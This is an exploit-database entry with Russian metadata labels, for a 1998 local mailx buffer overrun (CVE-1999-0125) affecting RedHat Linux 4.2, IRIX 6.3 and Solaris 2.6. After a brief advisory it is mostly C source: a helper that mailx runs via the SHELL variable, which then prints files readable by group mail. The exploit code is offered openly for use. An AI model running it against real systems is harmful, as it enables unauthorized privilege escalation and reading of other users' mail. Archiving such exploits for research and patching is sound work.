Exploit RedHat Linux 4.2 / SGI IRIX 6.3 / Solaris 2.6 - 'mailx' (2)

[Exploiter]

EDB-ID

19312

Проверка EDB

1. Пройдено

Автор

SEGV

Тип уязвимости

LOCAL

Платформа

LINUX

CVE

cve-1999-0125

Дата публикации

1998-06-25

RedHat Linux 4.2 / SGI IRIX 6.3 / Solaris 2.6 - 'mailx' (2)

// source: https://www.securityfocus.com/bid/393/info
 
A buffer overrun exists in the /bin/mailx program. This program was originally developed as part of BSD, and is available on many Unix systems. By supplying a long, well crafted buffer as the username argument, an attacker can use it to execuate arbitrary code. On some systems, this will result in the ability to execute code as group mail.

// this is nothing special, it allows you to read files that are
// readable by the group 'mail'.
// feedback: segv <[email protected]>

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

void usage(char *prog);

void main(int argc, char *argv[])
{
        char buffer[1024];
        int fd, bytes;

        if(argc != 3)
                usage(argv[0]);

        if((strcmp(argv[1],"-c")))
                usage(argv[0]);
        else {
                if((fd=open(argv[2],O_RDONLY)) == -1) {
                        perror("open");
                        exit(1);
                }
                while((bytes=read(fd,buffer,sizeof(buffer))) > 0)
                        write(1,buffer,bytes);

                close(fd);
        }
        exit(0);
}

void usage(char *prog)
{
        fprintf(stderr,"this program should be invoked by mailx\n");
        fprintf(stderr,"remember to set the env var 'SHELL' to the\n");
        fprintf(stderr,"name of this program.\n");
        exit(1);
}